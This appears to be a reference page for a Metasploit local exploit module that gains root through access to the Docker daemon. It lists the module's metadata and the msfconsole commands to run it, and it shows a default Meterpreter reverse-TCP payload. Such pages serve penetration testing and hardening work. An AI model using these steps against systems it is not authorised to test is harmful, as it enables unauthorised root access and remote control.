Module Overview
Name: Docker Daemon Privilege Escalation
Module: exploit/linux/local/docker_daemon_privilege_escalation
Source code: modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
Disclosure date: 2016-06-28
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64, armle, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module obtains root privileges from any host account
with access to the Docker daemon. Usually this includes
accounts in the docker
group.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(docker_daemon_privilege_escalation) > show targets
... a list of targets ...
msf exploit(docker_daemon_privilege_escalation) > set TARGET target-id
msf exploit(docker_daemon_privilege_escalation) > show options
... show and set options ...
msf exploit(docker_daemon_privilege_escalation) > set SESSION session-id
msf exploit(docker_daemon_privilege_escalation) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the linux/local/docker_daemon_privilege_escalation exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/docker_daemon_privilege_escalation
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
